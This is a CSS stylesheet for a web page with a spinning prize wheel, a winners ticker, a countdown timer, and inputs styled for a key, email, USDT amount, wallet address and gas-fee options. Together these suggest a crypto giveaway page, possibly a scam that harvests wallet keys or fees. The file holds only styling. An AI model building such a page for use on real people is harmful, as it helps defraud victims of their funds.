* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
    font-family: 'Arial', sans-serif;
}

body {
    background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
    min-height: 100vh;
    display: flex;
    justify-content: center;
    align-items: center;
}
body {
    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    animation: gradientShift 15s ease infinite;
    min-height: 100vh;
    display: flex;
    justify-content: center;
    align-items: center;
    position: relative;
    overflow: hidden;
}

@keyframes gradientShift {
    0% { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); }
    25% { background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%); }
    50% { background: linear-gradient(135deg, #4facfe 0%, #00f2fe 100%); }
    75% { background: linear-gradient(135deg, #43e97b 0%, #38f9d7 100%); }
    100% { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); }
}

/* 添加浮动粒子效果 */
body::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-image: radial-gradient(circle, #ffffff 1px, transparent 1px);
    background-size: 20px 20px;
    opacity: 0.1;
    animation: particleFloat 20s linear infinite;
}

@keyframes particleFloat {
    0% { transform: translateY(0) translateX(0); }
    100% { transform: translateY(-100vh) translateX(100px); }
}

.container {
    width: 100%;
    max-width: 500px;
    background-color: white;
    border-radius: 20px;
    box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
    overflow: hidden;
}

.screen {
    padding: 30px;
    text-align: center;
    min-height: 600px;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
}

.hidden {
    display: none;
}

h1 {
    color: #333;
    margin-bottom: 20px;
    font-size: 28px;
}

p {
    color: #666;
    margin-bottom: 15px;
    line-height: 1.5;
}

.btn {
    padding: 15px 30px;
    border: none;
    border-radius: 50px;
    font-size: 18px;
    font-weight: bold;
    cursor: pointer;
    transition: all 0.3s ease;
    margin-top: 20px;
}

.primary-btn {
    background: linear-gradient(45deg, #FF6B6B, #FF8E53);
    color: white;
    position: relative;
    overflow: hidden;
    box-shadow: 0 0 15px rgba(255, 107, 107, 0.4);
}

.primary-btn::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.3), transparent);
    transition: left 0.5s;
}

.primary-btn:hover::before {
    left: 100%;
}

.primary-btn:hover {
    transform: translateY(-3px);
    box-shadow: 0 10px 25px rgba(255, 107, 107, 0.5);
}

.secondary-btn {
    background: #f0f0f0;
    color: #333;
}

.secondary-btn:hover {
    background: #e0e0e0;
}

.disabled {
    opacity: 0.5;
    cursor: not-allowed;
}

/* Wheel Styles */
.wheel-container {
    position: relative;
    width: 250px;
    height: 250px;
    margin: 30px auto;
}

.wheel {
    width: 100%;
    height: 100%;
    border-radius: 50%;
    position: relative;
    overflow: hidden;
    box-shadow: 0 0 30px rgba(255, 255, 255, 0.5), 0 0 60px rgba(255, 107, 107, 0.4);
    border: 8px solid rgba(255, 255, 255, 0.8);
}

.wheel-inner {
    width: 100%;
    height: 100%;
    background: conic-gradient(
            #FF6B6B 0% 20%,
            #4ECDC4 20% 40%,
            #FFD166 40% 60%,
            #6A0572 60% 80%,
            #1A535C 80% 100%
    );
    animation: spin 8s linear infinite;
    position: relative;
}

/* 添加转盘分区标签 */
.wheel-inner::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100"><path d="M50,0 L50,50 L0,0 Z" fill="rgba(255,255,255,0.2)" transform="rotate(0 50 50)"/><path d="M50,0 L50,50 L0,0 Z" fill="rgba(255,255,255,0.2)" transform="rotate(72 50 50)"/><path d="M50,0 L50,50 L0,0 Z" fill="rgba(255,255,255,0.2)" transform="rotate(144 50 50)"/><path d="M50,0 L50,50 L0,0 Z" fill="rgba(255,255,255,0.2)" transform="rotate(216 50 50)"/><path d="M50,0 L50,50 L0,0 Z" fill="rgba(255,255,255,0.2)" transform="rotate(288 50 50)"/></svg>') no-repeat center;
    background-size: cover;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.wheel-pointer {
    position: absolute;
    top: -20px;
    left: 50%;
    transform: translateX(-50%);
    width: 0;
    height: 0;
    border-left: 15px solid transparent;
    border-right: 15px solid transparent;
    border-top: 30px solid #333;
    z-index: 10;
}

/* Prize Image */
.prize-image {
    width: 150px;
    height: 150px;
    margin: 20px auto;
    display: flex;
    justify-content: center;
    align-items: center;
    background: linear-gradient(45deg, #FFD166, #FF6B6B);
    border-radius: 50%;
}

.prize-icon {
    font-size: 80px;
}

/* Options Container */
.options-container {
    display: flex;
    justify-content: space-around;
    width: 100%;
    margin: 30px 0;
}

.option-card {
    width: 45%;
    padding: 20px;
    border-radius: 15px;
    box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
    cursor: pointer;
    transition: all 0.3s ease;
}

.option-card:hover {
    transform: translateY(-5px);
    box-shadow: 0 10px 25px rgba(0, 0, 0, 0.15);
}

.option-icon {
    font-size: 40px;
    margin-bottom: 10px;
}

/* Account Selection */
.account-options {
    display: flex;
    justify-content: space-around;
    width: 100%;
    margin: 30px 0;
}

.account-option {
    width: 30%;
    padding: 15px;
    border-radius: 15px;
    box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
    cursor: pointer;
    transition: all 0.3s ease;
}

.account-option:hover, .account-option.selected {
    transform: translateY(-5px);
    box-shadow: 0 10px 25px rgba(0, 0, 0, 0.15);
    border: 2px solid #FF6B6B;
}

.account-logo {
    width: 50px;
    height: 50px;
    margin: 0 auto 10px;
    display: flex;
    justify-content: center;
    align-items: center;
    background: #f0f0f0;
    border-radius: 50%;
    font-size: 24px;
    font-weight: bold;
}

/* Progress Bar */
.progress-container {
    width: 100%;
    margin: 30px 0;
}

.progress-bar {
    width: 100%;
    height: 20px;
    background-color: #f0f0f0;
    border-radius: 10px;
    overflow: hidden;
    margin-bottom: 15px;
}

.progress {
    height: 100%;
    background: linear-gradient(45deg, #FF6B6B, #FF8E53);
    border-radius: 10px;
    position: relative;
    overflow: hidden;
}

.progress::after {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    height: 100%;
    width: 30px;
    background: rgba(255, 255, 255, 0.3);
    animation: progressShine 2s infinite;
}

@keyframes progressShine {
    0% { transform: translateX(-100px); }
    100% { transform: translateX(500px); }
}

/* Key Input */
.key-input-container {
    width: 100%;
    margin-top: 20px;
}


/* Success Icon */
.success-icon {
    font-size: 60px;
    color: #4CAF50;
    margin: 20px 0;
}

/* Email Input */
.email-input-container, .usdt-input-container, .address-input-container {
    width: 100%;
    margin-top: 20px;
}

.key-input, .email-input, .usdt-input, .address-input {
    width: 100%;
    padding: 15px;
    border: 1px solid #ddd;
    border-radius: 10px;
    margin-bottom: 15px;
    font-size: 16px;
    transition: all 0.3s ease;
}

.key-input:focus, .email-input:focus, .usdt-input:focus, .address-input:focus {
    border-color: #FF6B6B;
    box-shadow: 0 0 0 3px rgba(255, 107, 107, 0.2);
    outline: none;
    transform: translateY(-2px);
}

/* Loading Spinner */
.loading-spinner {
    width: 50px;
    height: 50px;
    border: 5px solid #f3f3f3;
    border-top: 5px solid #FF6B6B;
    border-radius: 50%;
    animation: spin 1s linear infinite;
    margin: 20px auto;
}

/* Gas Options */
.gas-options {
    display: flex;
    justify-content: space-around;
    width: 100%;
    margin-top: 30px;
}

.gas-options .btn {
    width: 45%;
}

.countdown-container {
    margin: 20px 0;
    background: rgba(255, 255, 255, 0.2);
    border-radius: 15px;
    padding: 15px;
    backdrop-filter: blur(5px);
}

.countdown {
    display: flex;
    justify-content: center;
    gap: 15px;
    margin-top: 10px;
}

.countdown-item {
    display: flex;
    flex-direction: column;
    align-items: center;
}

.countdown-item span:first-child {
    font-size: 24px;
    font-weight: bold;
    color: white;
    background: rgba(0, 0, 0, 0.3);
    width: 50px;
    height: 50px;
    display: flex;
    align-items: center;
    justify-content: center;
    border-radius: 10px;
    margin-bottom: 5px;
}

.countdown-label {
    font-size: 12px;
    color: rgba(255, 255, 255, 0.8);
}

.recent-winners {
    margin-top: 30px;
    width: 100%;
}

.winners-ticker {
    background: rgba(255, 255, 255, 0.2);
    border-radius: 10px;
    padding: 10px;
    overflow: hidden;
    position: relative;
    height: 40px;
}

.ticker-content {
    display: flex;
    animation: ticker 20s linear infinite;
}

@keyframes ticker {
    0% { transform: translateX(0); }
    100% { transform: translateX(-100%); }
}

.winner-item {
    white-space: nowrap;
    padding: 0 20px;
    color: white;
    font-weight: bold;
}

.celebration {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    pointer-events: none;
    overflow: hidden;
    z-index: 10;
}

.confetti {
    position: absolute;
    width: 10px;
    height: 10px;
    background-color: #f0f;
    animation: confetti-fall 3s linear forwards;
}

@keyframes confetti-fall {
    0% {
        transform: translateY(-100vh) rotate(0deg);
        opacity: 1;
    }
    100% {
        transform: translateY(100vh) rotate(720deg);
        opacity: 0;
    }
}
